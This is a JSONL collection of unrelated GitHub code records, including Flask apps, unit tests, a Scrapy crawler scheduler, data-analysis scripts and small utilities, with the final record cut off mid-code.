+{"seq_id":"25391597228","text":"'''\nLooks for .txt files in and runs them through the strip_headers()\nfunction, writing the result with the same filename to .\n'''\n\nimport glob\nimport sys\n\nfrom tqdm import tqdm\n\nimport gutenberg.cleanup.strip_headers as strip_headers\nfrom gutenberg._util.os import reopen_encoded\nfrom gutenberg import Error\n\n\nif len(sys.argv) != 3:\n print('usage: python3 clean.py ')\n sys.exit(1)\n\nindir = sys.argv[1]\noutdir = sys.argv[2]\n\nfiles = glob.glob(indir + '/*.txt')\nfor f in tqdm(files):\n try:\n with reopen_encoded(open(f, 'r'), 'r', 'utf8') as infile:\n cleaned = strip_headers(infile.read())\n\n short = f.split('/')[-1]\n with open(outdir + '/' + short, 'w', encoding='utf8') as outfile:\n outfile.write(cleaned)\n except:\n print('Error processing', f, '; skipping...')\n","repo_name":"Abdulkadir98/book-search","sub_path":"data ingestion/clean.py","file_name":"clean.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19044359414","text":"# (c) 2023 Hermann Paul von Borries\n# MIT License\n# Power off task. Monitors activity and enters deepsleep to save battery\n# if not active.\nimport machine\nimport asyncio\n\nfrom player import player\nfrom minilog import getLogger\nfrom config import config\nfrom led import led\nimport webserver\n\nclass PowerManager:\n def __init__( self ):\n\n self.logger = getLogger( __name__ )\n self.power_task = asyncio.create_task(\n self.power_process()\n )\n self.logger.debug(\"init ok\")\n\n async def power_process( self ):\n self.logger.debug(\"Power off monitor started\")\n last_tune = None\n last_playtime = None\n idle_minutes = 0\n idle_deepsleep_minutes = config.get_int(\"idle_deepsleep_minutes\", 15)\n try:\n while True:\n await asyncio.sleep( 60 ) # Sleep for 1 minute and check.\n\n progress = player.get_progress()\n playtime = progress[\"playtime\"]\n tune = progress[\"tune\"]\n # Any activity in the last minute?\n if ( playtime != last_playtime or\n tune != last_tune or\n webserver.is_active() ):\n # Yes, reset time\n idle_minutes = 0\n else:\n idle_minutes += 1\n self.logger.debug(f\"Idle for {idle_minutes} minutes limit {idle_deepsleep_minutes}\")\n\n last_tune = tune\n last_playtime = playtime\n\n if idle_minutes > idle_deepsleep_minutes:\n led.off()\n self.logger.info(f\"Idle for {idle_minutes} minutes, entering deepsleep\")\n self.power_off()\n # Not to return\n\n except Exception as e:\n self.logger.exc( e, \"power management process aborted\")\n\n def power_off( self ):\n # Closest thing to self power off.\n await asyncio.sleep_ms(100)\n machine.deepsleep()\n \n def cancel_power_off( self ):\n self.power_task.cancel()\n \n\npoweroff = PowerManager()\n","repo_name":"bixb922/crank-organ","sub_path":"src/poweroff.py","file_name":"poweroff.py","file_ext":"py","file_size_in_byte":2134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73730256809","text":"from updatedGraphics import *\r\n\r\nclass Bomb(object):\r\n \"\"\"Creates a bomb\"\"\"\r\n def __init__(self, center:Point, radius = 200):\r\n self.center = center\r\n self.centerX = center.getX()\r\n self.centerY = center.getY()\r\n self.radius = radius\r\n self.bomb = Circle(self.center, self.radius)\r\n self.bomb.setOutline(\"red\")\r\n\r\n def drawBomb(self, win:GraphWin):\r\n self.bomb.draw(win)","repo_name":"PSHS-Programming1/Period4GitTest","sub_path":"Bomb.py","file_name":"Bomb.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"93443916","text":"import os\nimport unittest\nfrom datetime import datetime\nfrom datetime import timedelta\nfrom six import next\nfrom six.moves import filter\n\nfrom celery import Celery\nfrom flask import Flask\nfrom redis import StrictRedis\n\nfrom flask_notifications import Notifications\nfrom flask_notifications.event import Event\nfrom flask_notifications.event_hub import EventHub\nfrom flask_notifications.consumers.email.flaskmail_consumer import \\\n FlaskMailConsumer\nfrom flask_notifications.consumers.push.push_consumer import PushConsumer\nfrom flask_notifications.consumers.log.log_consumer import LogConsumer\nfrom flask_notifications.filters.before_date import BeforeDate\nfrom flask_notifications.filters.after_date import AfterDate\nfrom flask_notifications.filters.expired import Expired\nfrom flask_notifications.filters.with_id import WithId\nfrom flask_notifications.filters.with_sender import WithSender\nfrom flask_notifications.filters.with_recipients import WithRecipients\nfrom flask_notifications.filters.with_event_type import WithEventType\nfrom flask_notifications.filters.not_filter import Not\n\n\nclass NotificationsFlaskTestCase(unittest.TestCase):\n\n \"\"\"Base test class for Flask-Notifications.\"\"\"\n\n def setUp(self):\n \"\"\"Set up the environment before the tests.\"\"\"\n self.app = Flask(__name__)\n self.test_app = self.app.test_client()\n\n self.config = {\n \"DEBUG\": True,\n \"TESTING\": True,\n \"CELERY_BROKER_URL\": \"redis://localhost:6379/0\",\n \"CELERY_RESULT_BACKEND\": \"redis://localhost:6379/0\",\n \"BROKER_TRANSPORT\": \"redis\",\n \"CELERY_ACCEPT_CONTENT\": [\"application/json\"],\n \"CELERY_TASK_SERIALIZER\": \"json\",\n \"CELERY_RESULT_SERIALIZER\": \"json\",\n \"CELERY_ALWAYS_EAGER\": True,\n \"REDIS_URL\": \"redis://localhost:6379/0\",\n\n # Notifications configuration\n \"BACKEND\": \"flask_notifications.backend.redis_backend.RedisBackend\"\n }\n\n # Set up the instances\n self.app.config.update(self.config)\n self.celery = Celery()\n self.celery.conf.update(self.config)\n self.redis = StrictRedis()\n\n # Get instance of the notifications module\n self.notifications = Notifications(\n app=self.app, celery=self.celery, broker=self.redis\n )\n\n self.backend = self.notifications.create_backend()\n\n # Mail settings\n self.default_email_account = \"invnotifications@gmail.com\"\n\n # Time variables\n self.tomorrow = datetime.now() + timedelta(days=1)\n self.next_to_tomorrow = datetime.now() + timedelta(days=2)\n self.next_to_next_to_tomorrow = datetime.now() + timedelta(days=3)\n self.next_to_tomorrow_tm = float(self.next_to_tomorrow.strftime(\"%s\"))\n self.next_to_next_to_tomorrow_tm = \\\n float(self.next_to_next_to_tomorrow.strftime(\"%s\"))\n\n # Create basic event to use in the tests, id randomized\n self.event = Event(\"1234\",\n event_type=\"user\",\n title=\"This is a test\",\n body=\"This is the body of a test\",\n sender=\"system\",\n recipients=[\"jvican\"],\n expiration_datetime=self.tomorrow)\n self.event_json = self.event.to_json()\n\n def tearDown(self):\n \"\"\"Destroy environment.\"\"\"\n self.app = None\n self.celery = None\n self.redis = None\n\n\nclass EventsTest(NotificationsFlaskTestCase):\n\n def test_json_parser(self):\n \"\"\"Is to_json and from_json working correctly?\"\"\"\n\n with self.app.test_request_context():\n json = self.event.to_json()\n event_from_parser = Event.from_json(json)\n\n assert event_from_parser[\"event_id\"] == self.event[\"event_id\"]\n assert event_from_parser[\"title\"] == self.event[\"title\"]\n assert event_from_parser[\"body\"] == self.event[\"body\"]\n\n\nclass FlaskMailNotificationTest(NotificationsFlaskTestCase):\n\n def setUp(self):\n super(FlaskMailNotificationTest, self).setUp()\n\n # Use flask-mail dependency\n self.flaskmail = FlaskMailConsumer.from_app(\n self.app, self.default_email_account, [self.default_email_account]\n )\n\n def test_email_delivery(self):\n with self.app.test_request_context():\n email_consumer = self.flaskmail\n\n # Testing only the synchronous execution, not async\n with self.flaskmail.mail.record_messages() as outbox:\n # Send email\n email_consumer(self.event_json)\n\n expected = \"Event {0}\".format(self.event[\"event_id\"])\n\n assert len(outbox) == 1\n assert outbox[0].subject == expected\n assert outbox[0].body == self.event_json\n\n\nclass PushNotificationTest(NotificationsFlaskTestCase):\n\n def test_push(self):\n \"\"\"Test if PushConsumer works properly.\"\"\"\n\n with self.app.test_request_context():\n user_hub = EventHub(\"TestPush\", self.celery)\n user_hub_id = user_hub.hub_id\n push_function = PushConsumer(self.backend, user_hub_id)\n\n # The notifier that push notifications to the client via SSE\n sse_notifier = self.notifications.sse_notifier_for(user_hub_id)\n\n push_function.consume(self.event_json)\n\n # Popping subscribe message. Somehow, if the option\n # ignore_subscribe_messages is True, the other messages\n # are not detected.\n propagated_messages = sse_notifier.backend.listen()\n message = next(propagated_messages)\n\n # Getting expected message and checking it with the sent one\n message = next(propagated_messages)\n assert message['data'].decode(\"utf-8\") == self.event_json\n\n\nclass LogNotificationTest(NotificationsFlaskTestCase):\n\n def test_log(self):\n \"\"\"Test if LogConsumer works properly.\"\"\"\n with self.app.test_request_context():\n filepath = \"events.log\"\n\n # Clean previous log files and log to file\n if os.access(filepath, os.R_OK):\n os.remove(filepath)\n log_function = LogConsumer(filepath)\n log_function.consume(self.event_json)\n\n # Check and remove file\n with open(filepath, \"r\") as f:\n written_line = f.readline()\n assert written_line == self.event_json\n os.remove(filepath)\n\n\nclass EventHubAndFiltersTest(NotificationsFlaskTestCase):\n\n def setUp(self):\n super(EventHubAndFiltersTest, self).setUp()\n\n self.event_hub = EventHub(\"TestFilters\", self.celery)\n self.event_hub_id = self.event_hub.hub_id\n\n def test_register_consumer(self):\n \"\"\"\n The client can register consumers using a decorator or\n calling directly :method register_consumer:. The client also\n can deregister consumers.\n \"\"\"\n @self.event_hub.register_consumer\n def write_to_file(event_json, *args, **kwargs):\n f = open(\"events.log\", \"a+w\")\n f.write(event_json)\n\n push_consumer = PushConsumer(self.backend, self.event_hub_id)\n self.event_hub.register_consumer(push_consumer)\n\n # The previous consumers are indeed registered\n assert self.event_hub.is_registered(push_consumer) is True\n assert self.event_hub.is_registered(write_to_file) is True\n\n # Registering the same PushConsumer as a sequence of consumers\n repeated_push_consumer = PushConsumer(self.backend, self.event_hub_id)\n self.event_hub.register_consumer(repeated_push_consumer)\n\n # The previous operation has no effect as the consumer has\n # been previously registered\n registered = list(self.event_hub.registered_consumers)\n assert len(list(filter(self.event_hub.is_registered, registered))) == 2\n\n # Deregister previous consumers\n for consumer in [write_to_file, push_consumer]:\n self.event_hub.deregister_consumer(consumer)\n\n assert len(self.event_hub.registered_consumers) == 0\n\n def test_and_filters(self):\n f1 = WithEventType(\"user\")\n f2 = WithSender(\"system\")\n f3 = WithRecipients([\"jvican\"])\n\n f1f2 = f1 & f2\n f1f2f3 = f1 & f2 & f3\n\n assert f1f2f3(self.event) is True\n\n assert f1(self.event) is True\n self.event[\"event_type\"] = \"info\"\n assert f1(self.event) is False\n assert f1f2(self.event) is False\n assert f1f2f3(self.event) is False\n\n assert f2(self.event) is True\n self.event[\"sender\"] = \"antisystem\"\n assert f2(self.event) is False\n assert f1f2f3(self.event) is False\n\n assert f3(self.event) is True\n self.event[\"recipients\"] = [\"johndoe\"]\n assert f3(self.event) is False\n assert f1f2f3(self.event) is False\n\n def test_or_filters(self):\n f1 = BeforeDate(self.tomorrow)\n f2 = WithId(\"1234\")\n f3 = Not(Expired())\n f1f2f3 = f1 | f2 | f3\n\n assert f1f2f3(self.event) is True\n\n assert f1(self.event) is True\n self.event[\"timestamp\"] = self.next_to_tomorrow_tm\n assert f1(self.event) is False\n assert f1f2f3(self.event) is True\n\n assert f2(self.event) is True\n self.event[\"event_id\"] = \"123\"\n assert f2(self.event) is False\n assert f1f2f3(self.event) is True\n\n assert f3(self.event) is True\n self.event[\"expiration_datetime\"] = datetime.now()\n assert f3(self.event) is False\n assert f1f2f3(self.event) is False\n\n def test_xor_filters(self):\n # f1 is false in the beginning\n f1 = AfterDate(self.next_to_tomorrow)\n f2 = WithId(\"1234\")\n f1f2 = f1 ^ f2\n\n assert f1f2(self.event) is True\n self.event[\"timestamp\"] = self.next_to_next_to_tomorrow_tm\n assert f1f2(self.event) is False\n self.event[\"event_id\"] = \"123\"\n assert f1f2(self.event) is True\n self.event[\"timestamp\"] = self.next_to_tomorrow_tm\n assert f1f2(self.event) is False\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"inveniosoftware-contrib/flask-notifications","sub_path":"tests/test_events.py","file_name":"test_events.py","file_ext":"py","file_size_in_byte":10239,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"53"}
+{"seq_id":"6046817309","text":"# this is less of a test and more to just see what all the fit scores are for all historical orders... \nimport requests\n\n# lists all \"preference\" scores for existing orders \n\ndef find_fit(order):\n\tr = str(\"https://need2feed-ai.herokuapp.com/fit/%s\" % order)\n\tn = requests.get(r).content\n\treturn n\n\n\nfor order in range(85):\n\torder = order+1\n\tr = find_fit(order).decode(\"utf-8\")\n\tprint([order,r])\n","repo_name":"mindthegapdv/reco-engine","sub_path":"tests/find_fit.py","file_name":"find_fit.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"9860026809","text":"# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom flask import Flask\napp = Flask(__name__)\nimport urllib2, urllib, urlparse\nimport os,sys\nfrom os.path import join, dirname\nfrom dotenv import load_dotenv\n\ndotenv_path = join(dirname(__file__), '.env')\nload_dotenv(dotenv_path)\nLAT = os.environ.get(\"LINE_ACCESS_TOKEN\")\n\n@app.route('/shoshu')\ndef notify_shoshu():\n# post_line(u\"消臭力\")\n msg = \"消臭力ボタンが押されました\"\n play_google(msg=msg)\n\n@app.route('/furugura')\ndef notify_furugura():\n #post_line(u\"フルグラ\")\n msg = \"フルグラボタンが押されました\"\n play_google(\"192.168.1.5\", msg=msg)\n\n@app.route('/nescafe')\ndef notify_nescafe():\n #post_line(u\"フルグラ\")\n msg = \"ネスカフェが押されました\"\n play_google(msg=msg)\n\n\ndef play_google(gh_ip=\"192.168.1.4\", msg=None):\n \"\"\"google homeに喋らせる\n @param gh_ip:google homeのipアドレス (default:google home mini)\n @param meg:喋らせる内容\n \"\"\"\n os.system(\"node ~/Develop/g_h_hack/google-home-notifier/speak.js \"+gh_ip+\" \"+msg) \n\ndef post_line(message):\n url = u\"https://notify-api.line.me/api/notify\"\n message += u\"買ってこい\"\n params = {u\"message\":message.encode('utf-8')}\n params = urllib.urlencode(params)\n req = urllib2.Request(url)\n AT = \"******************\"\n #req.add_header(u\"Authorization\",u\"Bearer \"+os.environ[u\"LINE_ACCESS_TOKEN\"])\n req.add_header(u\"Authorization\",u\"Bearer \"+LAT)\n req.add_data(params)\n\n res = urllib2.urlopen(req)\n r = res.read()\n print(r)\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"okn3/amazon_dash_pi","sub_path":"listen_dash_app.py","file_name":"listen_dash_app.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3368578029","text":"#Flaskからimportしてflaskを使えるようにする\nfrom flask import Flask,render_template,request,session,redirect\nimport sqlite3\n \n#appっていう名前でFlaskアプリをつくっていくよ~みみたいな\napp = Flask(__name__)\n\n# session利用時にはシークレットキーが必要\napp.secret_key = 'kamaki0721'\n\n# DB方言呼び出し\n@app.route(\"/\")\ndef index():\n conn = sqlite3.connect(\"hougen.db\")\n c = conn.cursor()\n c.execute('SELECT word from hougen join category on hougen.category_id=category.id where hougen.category_id=1')\n hougen_list_1 =[]\n for row in c.fetchall():\n hougen_list_1.append(row[0])\n print(hougen_list_1)\n \n\n c.execute('SELECT mean from hougen join category on hougen.category_id=category.id where hougen.category_id=1')\n mean_1 =[]\n for row in c.fetchall():\n mean_1.append(row[0])\n print(mean_1)\n \n\n c.execute('SELECT word from hougen join category on hougen.category_id=category.id where hougen.category_id=2')\n hougen_list_2 =[]\n for row in c.fetchall():\n hougen_list_2.append(row[0])\n print(hougen_list_2)\n \n c.execute('SELECT mean from hougen join category on hougen.category_id=category.id where hougen.category_id=2')\n mean_2 =[]\n for row in c.fetchall():\n mean_2.append(row[0])\n\n\n c.execute('SELECT word from hougen join category on hougen.category_id=category.id where hougen.category_id=3')\n hougen_list_3 =[]\n for row in c.fetchall():\n hougen_list_3.append(row[0])\n print(hougen_list_3)\n \n c.execute('SELECT mean from hougen join category on hougen.category_id=category.id where hougen.category_id=3')\n mean_3 =[]\n for row in c.fetchall():\n mean_3.append(row[0])\n\n\n c.execute('SELECT word from hougen join category on hougen.category_id=category.id where hougen.category_id=4')\n hougen_list_4 =[]\n for row in c.fetchall():\n hougen_list_4.append(row[0])\n print(hougen_list_4)\n \n c.execute('SELECT mean from hougen join category on hougen.category_id=category.id where hougen.category_id=4')\n mean_4 =[]\n for row in c.fetchall():\n mean_4.append(row[0])\n\n \n c.close()\n \n return render_template(\"index.html\",\n hougen_list_1=hougen_list_1,mean_1=mean_1,\n hougen_list_2=hougen_list_2,mean_2=mean_2,\n hougen_list_3=hougen_list_3,mean_3=mean_3,\n hougen_list_4=hougen_list_4,mean_4=mean_4)\n \n # 編集ページリスト\n@app.route(\"/edit\")\ndef edit():\n conn = sqlite3.connect('hougen.db')\n c = conn.cursor()\n\n c.execute('SELECT category_id,word,mean from hougen')\n edit = []\n\n for row in c.fetchall():\n edit.append({\"category_id\":row[0],\"word\":row[1],\"mean\":row[2]})\n c.close()\n print(edit) \n\n\n return render_template(\"edit.html\",edit=edit) \n\n\n@app.route(\"/add\",methods=[\"GET\"])\ndef add_get():\n return render_template(\"edit.html\")\n\n\n# 追加機能\n@app.route(\"/add\",methods=[\"POST\"])\ndef add_post():\n category_id=request.form.get(\"category_id\")\n word=request.form.get(\"hougen\")\n mean=request.form.get(\"mean\")\n conn = sqlite3.connect('hougen.db')\n c = conn.cursor()\n\n c.execute('insert into hougen values(null,?,?,?)',(category_id,word,mean))\n conn.commit()\n conn.close()\n print(edit)\n\n\n return redirect(\"/edit\") \n\n # 削除機能追加\n@app.route(\"/delete/\")\ndef delete_(id):\n conn = sqlite3.connect(\"hougen.db\") #データベースに接続\n c = conn.cursor()\n c.execute('delete from task where id = ?',(id,))\n conn.commit() \n conn.close\n return redirect(\"/task_list\")\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n #flaskが持っている開発者用サーバを実行します\n app.run(debug=True)\n","repo_name":"kaaa43246y/sotsugyouseisaku","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26741014318","text":"# Organize invoices in a new folder and flag if file size is > 5MB\n\nimport glob\nimport shutil \nimport os\nfrom pathlib import Path\n\npath = '/Users/Admin/invoice/'\n\n# Check whether the specified path exists or not\nisExist = os.path.exists(path)\n\n# Create a new directory if it does not already exist\nif not isExist:\n os.makedirs(path)\n print(\"New directory created.\")\n\nsrc_folder = \"/Users/Admin/Downloads/\"\ndst_folder = \"/Users/Admin/invoice/\"\n\n# Move file if name starts with string 'invoice'\npattern = src_folder + \"/invoice*\"\nfor file in glob.iglob(pattern, recursive=True):\n\n # Extract file name form file path\n file_name = os.path.basename(file)\n shutil.move(file, dst_folder + file_name)\n print('Moved:', file)\n\n# Find files that are > 5MB\ndir_path = Path('/Users/Admin/invoice/')\n\nF_LIST = list(x for x in dir_path.rglob('*.*') if x.is_file() and os.path.getsize(x) >= 5000000)\n\nfor f in F_LIST:\n print(f.parts[-1] + \" ===> \" + \"Size = \" + str(format(os.path.getsize(f), ',d')))\n","repo_name":"rei620m/python_automation","sub_path":"invoice_automation.py","file_name":"invoice_automation.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2071860903","text":"#find k closest values close to target\n\n# O(n) time 44ms\nclass Solution(object):\n def closestKValues(self, root, target, k):\n \"\"\"\n :type root: TreeNode\n :type target: float\n :type k: int\n :rtype: List[int]\n \"\"\"\n # O(n) time is esay\n q = collections.deque()\n for x in self.inorder(root):\n if len(q) 0).sum()\n # and percentage of non-null values\n non_null_percentage = non_null_non_zero / len(df)\n \n # calculate statistical power if there are missing data points\n if non_null_percentage < 1.0:\n nobs1 = non_null_non_zero\n alpha = 0.05 # significance level\n effect_size = correlation * np.sqrt((1 - correlation**2) / (1 - non_null_percentage))\n power = smp.tt_ind_solve_power(effect_size, nobs1=nobs1, alpha=alpha)\n else:\n power = 1.0 # set power to 1 when there are no missing data points\n\n # add the correlation and percent non-null to dictionary\n correlations[column] = [correlation, non_null_percentage, power]\n\n\n# create a dataframe from the dictionary of correlations\ndf_correlation = pd.DataFrame.from_dict(correlations, orient='index', columns=['correlation', 'non_null_percentage', 'power'])\n\n# sort by abs(correlation)\ndf_correlation = df_correlation.reindex(df_correlation['correlation'].abs().sort_values(ascending=False).index)\n\n# only show correlations with a power of 0.8 or higher\ndf_correlation = df_correlation[df_correlation['power'] >= 0.8]\n\ndf_correlation\n\n\n#### Present day\n# break out each animal\n# how many cows\n# how much feed is going in\n\n\nfigure_toggle = False\n\nif figure_toggle:\n\n fig = px.scatter(\n df_merged,\n x=\"Country\",\n y=\"fudge_factor\", \n # log_y=True, \n )\n\n fig.show()\n\n\n country_selection = \"USA\"\n # plot mongoloia feed usage by species\n fig2 = px.bar(\n df_feed.loc[country_selection].filter(regex=\"_feed\"),\n x=df_feed.loc[country_selection].filter(regex=\"_feed\").index,\n y=df_feed.loc[country_selection].filter(regex=\"_feed\").values,\n )\n\n fig2.show()\n \n\n\n\n\n\n# # # mike is familiar with the datasets\n# # # also the lily paper, grass growing... maybe in supplements?\n\n\n\n# # # (feed + grass + residues) * growth_factor <- gdp = total demand (currenlty calculated on \"maintenance\" requirements, i.e no growth)\n# # # growth could be twice as much\n# # # conversion efficiency is really terrible for beef...\n\n\n# # # \n\n\n# # # livestock units are defined differently based on region, so apply this first before introducing other factors.\n\n# # # residues will be proportional to crop area... so we can use the crop area data to estimate residues\n\n\n# # # glean database only broken down by OECD and non OEXD. But it has the consumption of grazed material as well as residues.\n\n\n# # # 1 ha = 0.8 tonne of residues produced by hectare. https://www.sciencedirect.com/science/article/abs/pii/S2211912416300013#preview-section-introduction\n# # # some are used for toher things\n# # # sugar (burnt for the factory)\n# # # \n\n\n\n# # # \n\n","repo_name":"allfed/allfed-integrated-model","sub_path":"scripts/animal_population_analysis/animal_feed_analysis.py","file_name":"animal_feed_analysis.py","file_ext":"py","file_size_in_byte":17482,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"53"}
+{"seq_id":"39327123444","text":"from django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.test import TestCase\n\nfrom posts.models import Comment, Follow, Group, Post\n\nUser = get_user_model()\n\n\nclass PostModelTest(TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n super().setUpClass()\n cls.user = User.objects.create_user(username='auth')\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='Тестовый слаг',\n description='Тестовое описание',\n )\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый пост' * settings.SYMBOL_MULTIPLIER,\n )\n\n def test_model_post_have_correct_object_name(self):\n \"\"\"Проверяем, что у модели Post корректно работает __str__.\"\"\"\n post = PostModelTest.post\n text = post.text[:15]\n self.assertEqual(str(post), text)\n\n def test_model_post_verbose_name(self):\n \"\"\"verbose_name в полях модели Post совпадает с ожидаемым.\"\"\"\n post = PostModelTest.post\n field_verboses = {\n 'text': 'Текст поста',\n 'created': 'Дата публикации',\n 'author': 'Автор',\n 'group': 'Группа',\n }\n for value, expected in field_verboses.items():\n with self.subTest(value=value):\n self.assertEqual(\n post._meta.get_field(value).verbose_name, expected)\n\n def test_model_post_help_text(self):\n \"\"\"help_text в полях модели Post совпадает с ожидаемым.\"\"\"\n post = PostModelTest.post\n field_help_texts = {\n 'text': 'Введите текст поста',\n 'group': 'Группа, к которой будет относиться пост',\n }\n for value, expected in field_help_texts.items():\n with self.subTest(value=value):\n self.assertEqual(\n post._meta.get_field(value).help_text, expected)\n\n\nclass GroupModelTest(TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n super().setUpClass()\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='Тестовый слаг',\n description='Тестовое описание',\n )\n\n def test_model_group_have_correct_object_name(self):\n \"\"\"Проверяем, что у модели Group корректно работает __str__.\"\"\"\n group = GroupModelTest.group\n title = group.title\n self.assertEqual(str(group), title)\n\n def test_model_group_verbose_name(self):\n \"\"\"verbose_name в полях модели Group совпадает с ожидаемым.\"\"\"\n group = GroupModelTest.group\n field_verboses = {\n 'title': 'Название',\n 'slug': 'Ссылка',\n 'description': 'Описание',\n }\n for value, expected in field_verboses.items():\n with self.subTest(value=value):\n self.assertEqual(\n group._meta.get_field(value).verbose_name, expected)\n\n\nclass CommentModelTest(TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n super().setUpClass()\n cls.user = User.objects.create_user(username='auth')\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый пост',\n )\n cls.comment = Comment.objects.create(\n author=cls.user,\n text='Комментарий' * settings.SYMBOL_MULTIPLIER,\n post=cls.post,\n )\n\n def test_model_comment_have_correct_object_name(self):\n \"\"\"Проверяем, что у модели Comment корректно работает __str__.\"\"\"\n comment = CommentModelTest.comment\n text = comment.text[:15]\n self.assertEqual(str(comment), text)\n\n def test_model_comment_verbose_name(self):\n \"\"\"verbose_name в полях модели Comment совпадает с ожидаемым.\"\"\"\n comment = CommentModelTest.comment\n field_verboses = {\n 'post': 'Название поста',\n 'author': 'Имя автора',\n 'text': 'Текст комментария',\n 'created': 'Дата публикации',\n }\n for value, expected in field_verboses.items():\n with self.subTest(value=value):\n self.assertEqual(\n comment._meta.get_field(value).verbose_name, expected)\n\n\nclass FollowModelTest(TestCase):\n @classmethod\n def setUpClass(cls) -> None:\n super().setUpClass()\n cls.author_user = User.objects.create_user(username='author')\n cls.follower_user = User.objects.create_user(username='follower')\n cls.follow = Follow.objects.create(\n user=cls.follower_user,\n author=cls.author_user,\n )\n\n def test_model_follow_have_correct_object_name(self):\n \"\"\"Проверяем, что у модели Follow корректно работает __str__.\"\"\"\n follow = FollowModelTest.follow\n text = (\n f'{self.follow.user.username} '\n f'следит за {self.follow.author.username}'\n )\n self.assertEqual(str(follow), text)\n\n def test_model_follow_verbose_name(self):\n \"\"\"verbose_name в полях модели Follow совпадает с ожидаемым.\"\"\"\n follow = FollowModelTest.follow\n field_verboses = {\n 'user': 'Подписчик',\n 'author': 'Автор поста',\n }\n for value, expected in field_verboses.items():\n with self.subTest(value=value):\n self.assertEqual(\n follow._meta.get_field(value).verbose_name, expected)\n","repo_name":"JUSTUCKER/Yatube_social_network","sub_path":"yatube/posts/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":6038,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"29376746145","text":"#LC-MS_Plotter.py\n\"\"\"Asks for the name of a properly formatted .csv file and plots its LC-MS data.\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\n\n# Ask for the data until it's successfully gotten\nwhile True:\n try:\n file_name = input(\"Full name of file: \")\n df = pd.read_csv(file_name)\n assert len(df.columns.values) == 3, \"Need three columns: m/z, RT, and intensity\"\n except:\n print(\"Invalid file.\")\n restart = input(\"Try again with a different file name? Y/N \")\n if restart != \"Y\":\n break\n break\n\n# Display the data...\nfig = plt.figure()\n# ... from the m/z angle\nax = fig.add_subplot(221, projection=\"3d\")\nax.view_init(elev=0., azim=-90)\nplt.title(r\"$\\frac{m}{z}$ View\")\nax.scatter(df.iloc[:,0], df.iloc[:,1], df.iloc[:,2])\nplt.xlabel(r\"$\\frac{m}{z}$\")\nplt.ylabel(\"RT\")\nax.set_zlabel(\"Counts\")\n# ... from the RT angle\nax = fig.add_subplot(222, projection=\"3d\")\nax.view_init(elev=0., azim=0)\nplt.title(r\"RT View\")\nax.scatter(df.iloc[:,0], df.iloc[:,1], df.iloc[:,2])\nplt.xlabel(r\"$\\frac{m}{z}$\")\nplt.ylabel(\"RT\")\nax.set_zlabel(\"Counts\")\n# ... and from two other angles\nax = fig.add_subplot(223, projection=\"3d\")\nax.view_init(elev=5., azim=-45)\nplt.title(r\"Combination View\")\nax.scatter(df.iloc[:,0], df.iloc[:,1], df.iloc[:,2])\nplt.xlabel(r\"$\\frac{m}{z}$\")\nplt.ylabel(\"RT\")\nax.set_zlabel(\"Counts\")\n# ... and from two other angles\nax = fig.add_subplot(224, projection=\"3d\")\nax.view_init(elev=5., azim=-135)\nplt.title(r\"Combination View\")\nax.scatter(df.iloc[:,0], df.iloc[:,1], df.iloc[:,2])\nplt.xlabel(r\"$\\frac{m}{z}$\")\nplt.ylabel(\"RT\")\nax.set_zlabel(\"Counts\")\nplt.show()","repo_name":"akotter2/Adam-Kotter-Code","sub_path":"Work_Projects/LC-MS/LC-MS_Plotter.py","file_name":"LC-MS_Plotter.py","file_ext":"py","file_size_in_byte":1666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"30581233996","text":"import functools\nimport time\nfrom datetime import datetime\nimport schedule\nimport scrapy\nfrom twisted.internet import reactor, defer\nfrom scrapy.crawler import CrawlerRunner\nfrom scrapy.utils.log import configure_logging\nfrom newscrawl.spiders.daum import DaumSpider\nfrom newscrawl.spiders.naver import NaverSpider\n\ndef print_elapsed_time(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n start_timestamp = time.time()\n print(f'LOG: Running job \"{func.__name__}\" at {datetime.now()}')\n result = func(*args, **kwargs)\n print(f'LOG: Job \"{func.__name__}\" completed in {time.time() - start_timestamp} seconds')\n print(f'LOG: Finished job \"{func.__name__}\" at {datetime.now()}')\n return result\n\n return wrapper\n\ndef start_spider():\n custom_settings= {\n 'ITEM_PIPELINES' : {\n 'newscrawl.pipelines.NewscrawlPipeline': 300\n }\n }\n def crawler_func():\n configure_logging()\n runner = CrawlerRunner(custom_settings)\n\n @defer.inlineCallbacks\n def crawl() :\n yield runner.crawl(DaumSpider)\n yield runner.crawl(NaverSpider)\n 